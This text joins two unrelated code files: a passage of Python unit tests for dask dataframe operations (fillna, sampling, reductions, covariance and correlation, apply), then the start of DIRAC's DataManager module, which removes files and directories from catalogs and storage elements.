test_delayed_roundtrip(optimize: bool): df1 = d + 1 + 1 delayed = df1.to_delayed(optimize_graph=optimize) for x in delayed: assert x.__dask_layers__() == ( "delayed-" + df1._name if optimize else df1._name, ) x.dask.validate() assert len(delayed) == df1.npartitions assert len(delayed[0].dask.layers) == (1 if optimize else 3) dm = d.a.mean().to_delayed(optimize_graph=optimize) delayed2 = [x * 2 - dm for x in delayed] for x in delayed2: x.dask.validate() df3 = dd.from_delayed(delayed2, meta=df1, divisions=df1.divisions) df4 = df3 - 1 - 1 df4.dask.validate() assert_eq(df4, (full + 2) * 2 - full.a.mean() - 2) def test_from_delayed_lazy_if_meta_provided(): """Ensure that the graph is 100% lazily evaluted if meta is provided""" @dask.delayed def raise_exception(): raise RuntimeError() tasks = [raise_exception()] ddf = dd.from_delayed(tasks, meta=dict(a=float)) with pytest.raises(RuntimeError): ddf.compute() def test_from_delayed_empty_meta_provided(): ddf = dd.from_delayed([], meta=dict(a=float)) expected = pd.DataFrame({"a": [0.1]}).iloc[:0] assert_eq(ddf, expected) def test_fillna_duplicate_index(): @dask.delayed def f(): return pd.DataFrame(dict(a=[1.0], b=[np.NaN])) ddf = dd.from_delayed([f(), f()], meta=dict(a=float, b=float)) ddf.b = ddf.b.fillna(ddf.a) ddf.compute() def test_fillna_multi_dataframe(): df = _compat.makeMissingDataframe() ddf = dd.from_pandas(df, npartitions=5, sort=False) assert_eq(ddf.A.fillna(ddf.B), df.A.fillna(df.B)) assert_eq(ddf.B.fillna(ddf.A), df.B.fillna(df.A)) def test_ffill_bfill(): df = _compat.makeMissingDataframe() ddf = dd.from_pandas(df, npartitions=5, sort=False) assert_eq(ddf.ffill(), df.ffill()) assert_eq(ddf.bfill(), df.bfill()) assert_eq(ddf.ffill(axis=1), df.ffill(axis=1)) assert_eq(ddf.bfill(axis=1), df.bfill(axis=1)) def test_fillna_series_types(): # https://github.com/dask/dask/issues/2809 df = pd.DataFrame({"A": [1, np.nan, 3], "B": [1, np.nan, 3]}) ddf = dd.from_pandas(df, npartitions=2) fill_value = pd.Series([1, 10], index=["A", "C"]) assert_eq(ddf.fillna(fill_value), df.fillna(fill_value)) def test_sample(): df = pd.DataFrame( {"x": [1, 2, 3, 4, None, 6], "y": list("abdabd")}, index=[10, 20, 30, 40, 50, 60], ) a = dd.from_pandas(df, 2) b = a.sample(frac=0.5) assert_eq(b, b) c = a.sample(frac=0.5, random_state=1234) d = a.sample(frac=0.5, random_state=1234) assert_eq(c, d) assert a.sample(frac=0.5)._name != a.sample(frac=0.5)._name def test_sample_without_replacement(): df = pd.DataFrame( {"x": [1, 2, 3, 4, None, 6], "y": list("abdabd")}, index=[10, 20, 30, 40, 50, 60], ) a = dd.from_pandas(df, 2) b = a.sample(frac=0.7, replace=False) bb = b.index.compute() assert len(bb) == len(set(bb)) def test_sample_raises(): df = pd.DataFrame( {"x": [1, 2, 3, 4, None, 6], "y": list("abdabd")}, index=[10, 20, 30, 40, 50, 60], ) a = dd.from_pandas(df, 2) # Make sure frac is replaced with n when 0 <= n <= 1 # This is so existing code (i.e. ddf.sample(0.5)) won't break with pytest.warns(UserWarning): b = a.sample(0.5, random_state=1234) c = a.sample(frac=0.5, random_state=1234) assert_eq(b, c) with pytest.raises(ValueError): a.sample(n=10) # Make sure frac is provided with pytest.raises(ValueError): a.sample(frac=None) def test_empty_max(): meta = make_meta({"x": "i8"}, parent_meta=pd.DataFrame()) a = dd.DataFrame( {("x", 0): pd.DataFrame({"x": [1]}), ("x", 1): pd.DataFrame({"x": []})}, "x", meta, [None, None, None], ) assert_eq(a.x.max(), 1) def test_query(): pytest.importorskip("numexpr") df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [5, 6, 7, 8]}) ddf = dd.from_pandas(df, npartitions=2) assert_eq(ddf.query("x**2 > y"), df.query("x**2 > y")) assert_eq( ddf.query("x**2 > @value", local_dict={"value": 4}), df.query("x**2 > @value", local_dict={"value": 4}), ) def test_eval(): pytest.importorskip("numexpr") p = pd.DataFrame({"x": [1, 2, 3, 4], "y": [5, 6, 7, 8]}) d = dd.from_pandas(p, npartitions=2) assert_eq(p.eval("x + y"), d.eval("x + y")) assert_eq(p.eval("z = x + y", inplace=False), d.eval("z = x + y", inplace=False)) with pytest.raises(NotImplementedError): d.eval("z = x + y", inplace=True) @pytest.mark.parametrize( "include, exclude", [ ([int], None), (None, [int]), ([np.number, object], [float]), (["datetime"], None), ], ) def test_select_dtypes(include, exclude): n = 10 df = pd.DataFrame( { "cint": [1] * n, "cstr": ["a"] * n, "clfoat": [1.0] * n, "cdt": pd.date_range("2016-01-01", periods=n), } ) a = dd.from_pandas(df, npartitions=2) result = a.select_dtypes(include=include, exclude=exclude) expected = df.select_dtypes(include=include, exclude=exclude) assert_eq(result, expected) # count dtypes tm.assert_series_equal(a.dtypes.value_counts(), df.dtypes.value_counts()) tm.assert_series_equal(result.dtypes.value_counts(), expected.dtypes.value_counts()) def test_deterministic_apply_concat_apply_names(): df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [5, 6, 7, 8]}) a = dd.from_pandas(df, npartitions=2) assert sorted(a.x.nlargest(2).dask) == sorted(a.x.nlargest(2).dask) assert sorted(a.x.nlargest(2).dask) != sorted(a.x.nlargest(3).dask) assert sorted(a.x.drop_duplicates().dask) == sorted(a.x.drop_duplicates().dask) assert sorted(a.groupby("x").y.mean().dask) == sorted(a.groupby("x").y.mean().dask) # Test aca without passing in token string f = lambda a: a.nlargest(5) f2 = lambda a: a.nlargest(3) assert sorted(aca(a.x, f, f, a.x._meta).dask) != sorted( aca(a.x, f2, f2, a.x._meta).dask ) assert sorted(aca(a.x, f, f, a.x._meta).dask) == sorted( aca(a.x, f, f, a.x._meta).dask ) # Test aca with keywords def chunk(x, c_key=0, both_key=0): return x.sum() + c_key + both_key def agg(x, a_key=0, both_key=0): return pd.Series(x).sum() + a_key + both_key c_key = 2 a_key = 3 both_key = 4 res = aca( a.x, chunk=chunk, aggregate=agg, chunk_kwargs={"c_key": c_key}, aggregate_kwargs={"a_key": a_key}, both_key=both_key, ) assert sorted(res.dask) == sorted( aca( a.x, chunk=chunk, aggregate=agg, chunk_kwargs={"c_key": c_key}, aggregate_kwargs={"a_key": a_key}, both_key=both_key, ).dask ) assert sorted(res.dask) != sorted( aca( a.x, chunk=chunk, aggregate=agg, chunk_kwargs={"c_key": c_key}, aggregate_kwargs={"a_key": a_key}, both_key=0, ).dask ) assert_eq(res, df.x.sum() + 2 * (c_key + both_key) + a_key + both_key) def test_aca_meta_infer(): df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [5, 6, 7, 8]}) ddf = dd.from_pandas(df, npartitions=2) def chunk(x, y, constant=1.0): return (x + y + constant).head() def agg(x): return x.head() res = aca([ddf, 2.0], chunk=chunk, aggregate=agg, chunk_kwargs=dict(constant=2.0)) sol = (df + 2.0 + 2.0).head() assert_eq(res, sol) # Should infer as a scalar res = aca( [ddf.x], chunk=lambda x: pd.Series([x.sum()]), aggregate=lambda x: x.sum() ) assert isinstance(res, Scalar) assert res.compute() == df.x.sum() def test_aca_split_every(): df = pd.DataFrame({"x": [1] * 60}) ddf = dd.from_pandas(df, npartitions=15) def chunk(x, y, constant=0): return x.sum() + y + constant def combine(x, constant=0): return x.sum() + constant + 1 def agg(x, constant=0): return x.sum() + constant + 2 f = lambda n: aca( [ddf, 2.0], chunk=chunk, aggregate=agg, combine=combine, chunk_kwargs=dict(constant=1.0), combine_kwargs=dict(constant=2.0), aggregate_kwargs=dict(constant=3.0), split_every=n, ) assert_max_deps(f(3), 3) assert_max_deps(f(4), 4, False) assert_max_deps(f(5), 5) assert f(15).dask.keys() == f(ddf.npartitions).dask.keys() r3 = f(3) r4 = f(4) assert r3._name != r4._name # Only intersect on reading operations assert len(r3.dask.keys() & r4.dask.keys()) == len(ddf.dask) # Keywords are different for each step assert f(3).compute() == 60 + 15 * (2 + 1) + 7 * (2 + 1) + (3 + 2) # Keywords are same for each step res = aca( [ddf, 2.0], chunk=chunk, aggregate=agg, combine=combine, constant=3.0, split_every=3, ) assert res.compute() == 60 + 15 * (2 + 3) + 7 * (3 + 1) + (3 + 2) # No combine provided, combine is agg res = aca([ddf, 2.0], chunk=chunk, aggregate=agg, constant=3, split_every=3) assert res.compute() == 60 + 15 * (2 + 3) + 8 * (3 + 2) # split_every must be >= 2 with pytest.raises(ValueError): f(1) # combine_kwargs with no combine provided with pytest.raises(ValueError): aca( [ddf, 2.0], chunk=chunk, aggregate=agg, split_every=3, chunk_kwargs=dict(constant=1.0), combine_kwargs=dict(constant=2.0), aggregate_kwargs=dict(constant=3.0), ) def test_reduction_method(): df = pd.DataFrame({"x": range(50), "y": range(50, 100)}) ddf = dd.from_pandas(df, npartitions=4) chunk = lambda x, val=0: (x >= val).sum() agg = lambda x: x.sum() # Output of chunk is a scalar res = ddf.x.reduction(chunk, aggregate=agg) assert_eq(res, df.x.count()) # Output of chunk is a series res = ddf.reduction(chunk, aggregate=agg) assert res._name == ddf.reduction(chunk, aggregate=agg)._name assert_eq(res, df.count()) # Test with keywords res2 = ddf.reduction(chunk, aggregate=agg, chunk_kwargs={"val": 25}) res2._name == ddf.reduction(chunk, aggregate=agg, chunk_kwargs={"val": 25})._name assert res2._name != res._name assert_eq(res2, (df >= 25).sum()) # Output of chunk is a dataframe def sum_and_count(x): return pd.DataFrame({"sum": x.sum(), "count": x.count()}) res = ddf.reduction(sum_and_count, aggregate=lambda x: x.groupby(level=0).sum()) assert_eq(res, pd.DataFrame({"sum": df.sum(), "count": df.count()})) def test_reduction_method_split_every(): df = pd.Series([1] * 60) ddf = dd.from_pandas(df, npartitions=15) def chunk(x, constant=0): return x.sum() + constant def combine(x, constant=0): return x.sum() + constant + 1 def agg(x, constant=0): return x.sum() + constant + 2 f = lambda n: ddf.reduction( chunk, aggregate=agg, combine=combine, chunk_kwargs=dict(constant=1.0), combine_kwargs=dict(constant=2.0), aggregate_kwargs=dict(constant=3.0), split_every=n, ) assert_max_deps(f(3), 3) assert_max_deps(f(4), 4, False) assert_max_deps(f(5), 5) assert f(15).dask.keys() == f(ddf.npartitions).dask.keys() r3 = f(3) r4 = f(4) assert r3._name != r4._name # Only intersect on reading operations assert len(r3.dask.keys() & r4.dask.keys()) == len(ddf.dask) # Keywords are different for each step assert f(3).compute() == 60 + 15 + 7 * (2 + 1) + (3 + 2) # Keywords are same for each step res = ddf.reduction( chunk, aggregate=agg, combine=combine, constant=3.0, split_every=3 ) assert res.compute() == 60 + 15 * 3 + 7 * (3 + 1) + (3 + 2) # No combine provided, combine is agg res = ddf.reduction(chunk, aggregate=agg, constant=3.0, split_every=3) assert res.compute() == 60 + 15 * 3 + 8 * (3 + 2) # split_every must be >= 2 with pytest.raises(ValueError): f(1) # combine_kwargs with no combine provided with pytest.raises(ValueError): ddf.reduction( chunk, aggregate=agg, split_every=3, chunk_kwargs=dict(constant=1.0), combine_kwargs=dict(constant=2.0), aggregate_kwargs=dict(constant=3.0), ) def test_pipe(): df = pd.DataFrame({"x": range(50), "y": range(50, 100)}) ddf = dd.from_pandas(df, npartitions=4) def f(x, y, z=0): return x + y + z assert_eq(ddf.pipe(f, 1, z=2), f(ddf, 1, z=2)) assert_eq(ddf.x.pipe(f, 1, z=2), f(ddf.x, 1, z=2)) def test_gh_517(): arr = np.random.randn(100, 2) df = pd.DataFrame(arr, columns=["a", "b"]) ddf = dd.from_pandas(df, 2) assert ddf.index.nunique().compute() == 100 ddf2 = dd.from_pandas(pd.concat([df, df]), 5) assert ddf2.index.nunique().compute() == 100 def test_drop_axis_1(): df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [5, 6, 7, 8], "z": [9, 10, 11, 12]}) ddf = dd.from_pandas(df, npartitions=2) assert_eq(ddf.drop("y", axis=1), df.drop("y", axis=1)) assert_eq(ddf.drop(["y", "z"], axis=1), df.drop(["y", "z"], axis=1)) with pytest.raises(ValueError): ddf.drop(["a", "x"], axis=1) assert_eq( ddf.drop(["a", "x"], axis=1, errors="ignore"), df.drop(["a", "x"], axis=1, errors="ignore"), ) assert_eq(ddf.drop(columns=["y", "z"]), df.drop(columns=["y", "z"])) @pytest.mark.parametrize("columns", [["b"], []]) def test_drop_columns(columns): # Check both populated and empty list argument # https://github.com/dask/dask/issues/6870 df = pd.DataFrame( { "a": [2, 4, 6, 8], "b": ["1a", "2b", "3c", "4d"], } ) ddf = dd.from_pandas(df, npartitions=2) ddf2 = ddf.drop(columns=columns) ddf["new"] = ddf["a"] + 1 # Check that ddf2 is not modified assert_eq(df.drop(columns=columns), ddf2) def test_gh580(): df = pd.DataFrame({"x": np.arange(10, dtype=float)}) ddf = dd.from_pandas(df, 2) assert_eq(np.cos(df["x"]), np.cos(ddf["x"])) assert_eq(np.cos(df["x"]), np.cos(ddf["x"])) def test_gh6305(): df = pd.DataFrame({"x": np.arange(3, dtype=float)}) ddf = dd.from_pandas(df, 1) ddf_index_only = ddf.set_index("x") ds = ddf["x"] is_broadcastable([ddf_index_only], ds) def test_rename_dict(): renamer = {"a": "A", "b": "B"} assert_eq(d.rename(columns=renamer), full.rename(columns=renamer)) def test_rename_function(): renamer = lambda x: x.upper() assert_eq(d.rename(columns=renamer), full.rename(columns=renamer)) def test_rename_index(): renamer = {0: 1} pytest.raises(ValueError, lambda: d.rename(index=renamer)) def test_to_timestamp(): index = pd.period_range(freq="A", start="1/1/2001", end="12/1/2004") df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [10, 20, 30, 40]}, index=index) ddf = dd.from_pandas(df, npartitions=3) assert_eq(ddf.to_timestamp(), df.to_timestamp(), **CHECK_FREQ) assert_eq( ddf.to_timestamp(freq="M", how="s").compute(), df.to_timestamp(freq="M", how="s"), **CHECK_FREQ, ) assert_eq(ddf.x.to_timestamp(), df.x.to_timestamp()) assert_eq( ddf.x.to_timestamp(freq="M", how="s").compute(), df.x.to_timestamp(freq="M", how="s"), **CHECK_FREQ, ) def test_to_frame(): s = pd.Series([1, 2, 3], name="foo") a = dd.from_pandas(s, npartitions=2) assert_eq(s.to_frame(), a.to_frame()) assert_eq(s.to_frame("bar"), a.to_frame("bar")) @pytest.mark.parametrize("as_frame", [False, False]) def test_to_dask_array_raises(as_frame): s = pd.Series([1, 2, 3, 4, 5, 6], name="foo") a = dd.from_pandas(s, npartitions=2) if as_frame: a = a.to_frame() with pytest.raises(ValueError, match="4 != 2"): a.to_dask_array((1, 2, 3, 4)) with pytest.raises(ValueError, match="Unexpected value"): a.to_dask_array(5) @pytest.mark.parametrize("as_frame", [False, True]) def test_to_dask_array_unknown(as_frame): s = pd.Series([1, 2, 3, 4, 5], name="foo") a = dd.from_pandas(s, chunksize=2) if as_frame: a = a.to_frame() result = a.to_dask_array() assert isinstance(result, da.Array) result = result.chunks if as_frame: assert len(result) == 2 assert result[1] == (1,) else: assert len(result) == 1 result = result[0] assert len(result) == 2 assert all(np.isnan(x) for x in result) @pytest.mark.parametrize( "lengths,as_frame,meta", [ ([2, 3], False, None), (True, False, None), (True, False, np.array([], dtype="f4")), ], ) def test_to_dask_array(meta, as_frame, lengths): s = pd.Series([1, 2, 3, 4, 5], name="foo", dtype="i4") a = dd.from_pandas(s, chunksize=2) if as_frame: a = a.to_frame() result = a.to_dask_array(lengths=lengths, meta=meta) assert isinstance(result, da.Array) expected_chunks = ((2, 3),) if as_frame: expected_chunks = expected_chunks + ((1,),) assert result.chunks == expected_chunks def test_apply(): df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [10, 20, 30, 40]}) ddf = dd.from_pandas(df, npartitions=2) func = lambda row: row["x"] + row["y"] assert_eq( ddf.x.apply(lambda x: x + 1, meta=("x", int)), df.x.apply(lambda x: x + 1) ) # specify meta assert_eq( ddf.apply(lambda xy: xy[0] + xy[1], axis=1, meta=(None, int)), df.apply(lambda xy: xy[0] + xy[1], axis=1), ) assert_eq( ddf.apply(lambda xy: xy[0] + xy[1], axis="columns", meta=(None, int)), df.apply(lambda xy: xy[0] + xy[1], axis="columns"), ) # inference with pytest.warns(None): assert_eq( ddf.apply(lambda xy: xy[0] + xy[1], axis=1), df.apply(lambda xy: xy[0] + xy[1], axis=1), ) with pytest.warns(None): assert_eq(ddf.apply(lambda xy: xy, axis=1), df.apply(lambda xy: xy, axis=1)) # specify meta func = lambda x: pd.Series([x, x]) assert_eq(ddf.x.apply(func, meta=[(0, int), (1, int)]), df.x.apply(func)) # inference with pytest.warns(None): assert_eq(ddf.x.apply(func), df.x.apply(func)) # axis=0 with pytest.raises(NotImplementedError): ddf.apply(lambda xy: xy, axis=0) with pytest.raises(NotImplementedError): ddf.apply(lambda xy: xy, axis="index") def test_apply_warns(): df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [10, 20, 30, 40]}) ddf = dd.from_pandas(df, npartitions=2) func = lambda row: row["x"] + row["y"] with pytest.warns(UserWarning) as w: ddf.apply(func, axis=1) assert len(w) == 1 with pytest.warns(None) as w: ddf.apply(func, axis=1, meta=(None, int)) assert len(w) == 0 with pytest.warns(UserWarning) as w: ddf.apply(lambda x: x, axis=1) assert len(w) == 1 assert "'x'" in str(w[0].message) assert "int64" in str(w[0].message) def test_apply_warns_with_invalid_meta(): df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [10, 20, 30, 40]}) ddf = dd.from_pandas(df, npartitions=2) func = lambda row: row["x"] + row["y"] with pytest.warns(FutureWarning, match="Meta is not valid"): ddf.apply(func, axis=1, meta=int) def test_applymap(): df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [10, 20, 30, 40]}) ddf = dd.from_pandas(df, npartitions=2) assert_eq(ddf.applymap(lambda x: x + 1), df.applymap(lambda x: x + 1)) assert_eq(ddf.applymap(lambda x: (x, x)), df.applymap(lambda x: (x, x))) def test_add_prefix(): df = pd.DataFrame({"x": [1, 2, 3, 4, 5], "y": [4, 5, 6, 7, 8]}) ddf = dd.from_pandas(df, npartitions=2) assert_eq(ddf.add_prefix("abc"), df.add_prefix("abc")) assert_eq(ddf.x.add_prefix("abc"), df.x.add_prefix("abc")) def test_add_suffix(): df = pd.DataFrame({"x": [1, 2, 3, 4, 5], "y": [4, 5, 6, 7, 8]}) ddf = dd.from_pandas(df, npartitions=2) assert_eq(ddf.add_suffix("abc"), df.add_suffix("abc")) assert_eq(ddf.x.add_suffix("abc"), df.x.add_suffix("abc")) def test_abs(): df = pd.DataFrame( { "A": [1, -2, 3, -4, 5], "B": [-6.0, -7, -8, -9, 10], "C": ["a", "b", "c", "d", "e"], } ) ddf = dd.from_pandas(df, npartitions=2) assert_eq(ddf.A.abs(), df.A.abs()) assert_eq(ddf[["A", "B"]].abs(), df[["A", "B"]].abs()) pytest.raises(ValueError, lambda: ddf.C.abs()) pytest.raises(TypeError, lambda: ddf.abs()) def test_round(): df = pd.DataFrame({"col1": [1.123, 2.123, 3.123], "col2": [1.234, 2.234, 3.234]}) ddf = dd.from_pandas(df, npartitions=2) assert_eq(ddf.round(), df.round()) assert_eq(ddf.round(2), df.round(2)) def test_cov(): # DataFrame df = _compat.makeMissingDataframe() ddf = dd.from_pandas(df, npartitions=6) res = ddf.cov() res2 = ddf.cov(split_every=2) res3 = ddf.cov(10) res4 = ddf.cov(10, split_every=2) sol = df.cov() sol2 = df.cov(10) assert_eq(res, sol) assert_eq(res2, sol) assert_eq(res3, sol2) assert_eq(res4, sol2) assert res._name == ddf.cov()._name assert res._name != res2._name assert res3._name != res4._name assert res._name != res3._name # Series a = df.A b = df.B da = dd.from_pandas(a, npartitions=6) db = dd.from_pandas(b, npartitions=7) res = da.cov(db) res2 = da.cov(db, split_every=2) res3 = da.cov(db, 10) res4 = da.cov(db, 10, split_every=2) sol = a.cov(b) sol2 = a.cov(b, 10) assert_eq(res, sol) assert_eq(res2, sol) assert_eq(res3, sol2) assert_eq(res4, sol2) assert res._name == da.cov(db)._name assert res._name != res2._name assert res3._name != res4._name assert res._name != res3._name def test_corr(): # DataFrame df = _compat.makeMissingDataframe() ddf = dd.from_pandas(df, npartitions=6) res = ddf.corr() res2 = ddf.corr(split_every=2) res3 = ddf.corr(min_periods=10) res4 = ddf.corr(min_periods=10, split_every=2) sol = df.corr() sol2 = df.corr(min_periods=10) assert_eq(res, sol) assert_eq(res2, sol) assert_eq(res3, sol2) assert_eq(res4, sol2) assert res._name == ddf.corr()._name assert res._name != res2._name assert res3._name != res4._name assert res._name != res3._name pytest.raises(NotImplementedError, lambda: ddf.corr(method="spearman")) # Series a = df.A b = df.B da = dd.from_pandas(a, npartitions=6) db = dd.from_pandas(b, npartitions=7) res = da.corr(db) res2 = da.corr(db, split_every=2) res3 = da.corr(db, min_periods=10) res4 = da.corr(db, min_periods=10, split_every=2) sol = da.corr(db) sol2 = da.corr(db, min_periods=10) assert_eq(res, sol) assert_eq(res2, sol) assert_eq(res3, sol2) assert_eq(res4, sol2) assert res._name == da.corr(db)._name assert res._name != res2._name assert res3._name != res4._name assert res._name != res3._name pytest.raises(NotImplementedError, lambda: da.corr(db, method="spearman")) pytest.raises(TypeError, lambda: da.corr(ddf)) def test_corr_same_name(): # Series with same names (see https://github.com/dask/dask/issues/4906) df = _compat.makeMissingDataframe() ddf = dd.from_pandas(df, npartitions=6) result = ddf.A.corr(ddf.B.rename("A")) expected = ddf.A.corr(ddf.B) assert_eq(result, expected) # test with split_every result2 = ddf.A.corr(ddf.B.rename("A"), split_every=2) assert_eq(result2, expected) def test_cov_corr_meta(): df = pd.DataFrame( { "a": np.array([1, 2, 3]), "b": np.array([1.0, 2.0, 3.0], dtype="f4"), "c": np.array([1.0, 2.0, 3.0]), }, index=pd.Index([1, 2, 3], name="myindex"), ) ddf = dd.from_pandas(df, npartitions=2) assert_eq(ddf.corr(), df.corr()) assert_eq(ddf.cov(), df.cov()) assert ddf.a.cov(ddf.b)._meta.dtype == "f8" assert ddf.a.corr(ddf.b)._meta.dtype == "f8" @pytest.mark.slow def test_cov_corr_stable(): df = pd.DataFrame(np.random.uniform(-1, 1, (20000000, 2)), columns=["a", "b"]) ddf = dd.from_pandas(df, npartitions=50) assert_eq(ddf.cov(split_every=8), df.cov()) assert_eq(ddf.corr(split_every=8), df.corr()) def test_cov_corr_mixed(): size = 1000 d = { "dates": pd.date_range("2015-01-01", periods=size, freq="1T"), "unique_id": np.arange(0, size), "ints": np.random.randint(0, size, size=size), "floats": np.random.randn(size), "bools": np.random.choice([0, 1], size=size), "int_nans": np.random.choice([0, 1, np.nan], size=size), "float_nans": np.random.choice([0.0, 1.0, np.nan], size=size), "constant": 1, "int_categorical": np.random.choice([10, 20, 30, 40, 50], size=size), "categorical_binary": np.random.choice(["a", "b"], size=size), "categorical_nans": np.random.choice(["a", "b", "c"], size=size), } df = pd.DataFrame(d) df["hardbools"] = df["bools"] == 1 df["categorical_nans"] = df["categorical_nans"].replace("c", np.nan) df["categorical_binary"] = df["categorical_binary"].astype("category") df["unique_id"] = df["unique_id"].astype(str) ddf = dd.from_pandas(df, npartitions=20) assert_eq(ddf.corr(split_every=4), df.corr(), check_divisions=False) assert_eq(ddf.cov(split_every=4), df.cov(), check_divisions=False) def test_autocorr(): x = pd.Series(np.random.random(100)) dx = dd.from_pandas(x, npartitions=10) assert_eq(dx.autocorr(2), x.autocorr(2)) assert_eq(dx.autocorr(0), x.autocorr(0)) assert_eq(dx.autocorr(-2), x.autocorr(-2)) assert_eq(dx.autocorr(2, split_every=3), x.autocorr(2)) pytest.raises(TypeError, lambda: dx.autocorr(1.5)) def test_apply_infer_columns(): df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [10, 20, 30, 40]}) ddf = dd.from_pandas(df, npartitions=2) def return_df(x): # will create new DataFrame which columns is ['sum', 'mean'] return pd.Series([x.sum(), x.mean()], index=["sum", "mean"]) # DataFrame to completely different DataFrame with pytest.warns(None): result = ddf.apply(return_df, axis=1) assert isinstance(result, dd.DataFrame) tm.assert_index_equal(result.columns, pd.Index(["sum", "mean"])) assert_eq(result, df.apply(return_df, axis=1)) # DataFrame to Series with pytest.warns(None): result = ddf.apply(lambda x:
codeparrot/github-code-clean
""" :mod: DataManager .. module: DataManager :synopsis: DataManager links the functionalities of StorageElement and FileCatalog. This module consists of DataManager and related classes. """ # # RSCID __RCSID__ = "$Id$" # # imports from datetime import datetime, timedelta import fnmatch import os import time from types import StringTypes, ListType, DictType, StringType, TupleType # # from DIRAC import DIRAC from DIRAC import S_OK, S_ERROR, gLogger, gConfig from DIRAC.ConfigurationSystem.Client.Helpers.Operations import Operations from DIRAC.ConfigurationSystem.Client.Helpers.Resources import getRegistrationProtocols, getThirdPartyProtocols from DIRAC.AccountingSystem.Client.DataStoreClient import gDataStoreClient from DIRAC.AccountingSystem.Client.Types.DataOperation import DataOperation from DIRAC.Core.Utilities.Adler import fileAdler, compareAdler from DIRAC.Core.Utilities.File import makeGuid, getSize from DIRAC.Core.Utilities.List import randomize from DIRAC.Core.Utilities.SiteSEMapping import getSEsForSite, isSameSiteSE, getSEsForCountry from DIRAC.Resources.Catalog.FileCatalog import FileCatalog from DIRAC.Resources.Storage.StorageElement import StorageElement from DIRAC.Resources.Storage.StorageFactory import StorageFactory from DIRAC.ResourceStatusSystem.Client.ResourceStatus import ResourceStatus from DIRAC.Core.Security.ProxyInfo import getProxyInfo from DIRAC.Core.Utilities.ReturnValues import returnSingleResult class DataManager( object ): """ .. class:: DataManager A DataManager is taking all the actions that impact or require the FileCatalog and the StorageElement together """ def __init__( self, catalogs = [], masterCatalogOnly = False, vo = False ): """ c'tor :param self: self reference :param catalogs: the list of catalog in which to perform the operations. This list will be ignored if masterCatalogOnly is set to True :param masterCatalogOnly: if set to True, the operations will be performed only on the master catalog. The catalogs parameter will be ignored. :param vo: the VO for which the DataManager is created, get VO from the current proxy if not specified """ self.log = gLogger.getSubLogger( self.__class__.__name__, True ) self.vo = vo catalogsToUse = FileCatalog( vo = self.vo ).getMasterCatalogNames()['Value'] if masterCatalogOnly else catalogs self.fc = FileCatalog( catalogs = catalogsToUse, vo = self.vo ) self.accountingClient = None self.registrationProtocol = getRegistrationProtocols() self.thirdPartyProtocols = getThirdPartyProtocols() self.resourceStatus = ResourceStatus() self.ignoreMissingInFC = Operations( self.vo ).getValue( 'DataManagement/IgnoreMissingInFC', False ) self.useCatalogPFN = Operations( self.vo ).getValue( 'DataManagement/UseCatalogPFN', True ) def setAccountingClient( self, client ): """ Set Accounting Client instance """ self.accountingClient = client def __verifyWritePermission( self, path ): """ Check if we have write permission to the given file (if exists) or its directory """ if type( path ) in StringTypes: paths = [ path ] else: paths = path res = self.fc.getPathPermissions( paths ) if not res['OK']: return res result = {'Successful':[], 'Failed':[]} for path in paths: if res['Value']['Successful'].get( path, {} ).get( 'Write', False ): result['Successful'].append( path ) else: result['Failed'].append( path ) return S_OK( result ) ########################################################################## # # These are the bulk removal methods # def cleanLogicalDirectory( self, lfnDir ): """ Clean the logical directory from the catalog and storage """ if type( lfnDir ) in StringTypes: lfnDir = [ lfnDir ] retDict = { "Successful" : {}, "Failed" : {} } for folder in lfnDir: res = self.__cleanDirectory( folder ) if not res['OK']: self.log.debug( "Failed to clean directory.", "%s %s" % ( folder, res['Message'] ) ) retDict["Failed"][folder] = res['Message'] else: self.log.debug( "Successfully removed directory.", folder ) retDict["Successful"][folder] = res['Value'] return S_OK( retDict ) def __cleanDirectory( self, folder ): """ delete all files from directory :folder: in FileCatalog and StorageElement :param self: self reference :param str folder: directory name """ res = self.__verifyWritePermission( folder ) if not res['OK']: return res if folder not in res['Value']['Successful']: errStr = "__cleanDirectory: Write access not permitted for this credential." self.log.debug( errStr, folder ) return S_ERROR( errStr ) res = self.__getCatalogDirectoryContents( [ folder ] ) if not res['OK']: return res res = self.removeFile( res['Value'].keys() ) if not res['OK']: return res for lfn, reason in res['Value']['Failed'].items(): gLogger.error( "Failed to remove file found in the catalog", "%s %s" % ( lfn, reason ) ) res = returnSingleResult( self.removeFile( [ '%s/dirac_directory' % folder ] ) ) if not res['OK']: if not "No such file" in res['Message']: gLogger.warn( 'Failed to delete dirac_directory placeholder file' ) storageElements = gConfig.getValue( 'Resources/StorageElementGroups/SE_Cleaning_List', [] ) failed = False for storageElement in sorted( storageElements ): res = self.__removeStorageDirectory( folder, storageElement ) if not res['OK']: failed = True if failed: return S_ERROR( "Failed to clean storage directory at all SEs" ) res = returnSingleResult( self.fc.removeDirectory( folder, recursive = True ) ) if not res['OK']: return res return S_OK() def __removeStorageDirectory( self, directory, storageElement ): """ delete SE directory :param self: self reference :param str directory: folder to be removed :param str storageElement: DIRAC SE name """ se = StorageElement( storageElement, vo = self.vo ) res = returnSingleResult( se.exists( directory ) ) if not res['OK']: self.log.debug( "Failed to obtain existance of directory", res['Message'] ) return res exists = res['Value'] if not exists: self.log.debug( "The directory %s does not exist at %s " % ( directory, storageElement ) ) return S_OK() res = returnSingleResult( se.removeDirectory( directory, recursive = True ) ) if not res['OK']: self.log.debug( "Failed to remove storage directory", res['Message'] ) return res self.log.debug( "Successfully removed %d files from %s at %s" % ( res['Value']['FilesRemoved'], directory, storageElement ) ) return S_OK() def __getCatalogDirectoryContents( self, directories ): """ ls recursively all files in directories :param self: self reference :param list directories: folder names """ self.log.debug( 'Obtaining the catalog contents for %d directories:' % len( directories ) ) activeDirs = directories allFiles = {} while len( activeDirs ) > 0: currentDir = activeDirs[0] res = returnSingleResult( self.fc.listDirectory( currentDir ) ) activeDirs.remove( currentDir ) if not res['OK']: self.log.debug( "Problem getting the %s directory content" % currentDir, res['Message'] ) else: dirContents = res['Value'] activeDirs.extend( dirContents['SubDirs'] ) allFiles.update( dirContents['Files'] ) self.log.debug( "Found %d files" % len( allFiles ) ) return S_OK( allFiles ) def getReplicasFromDirectory( self, directory ): """ get all replicas from a 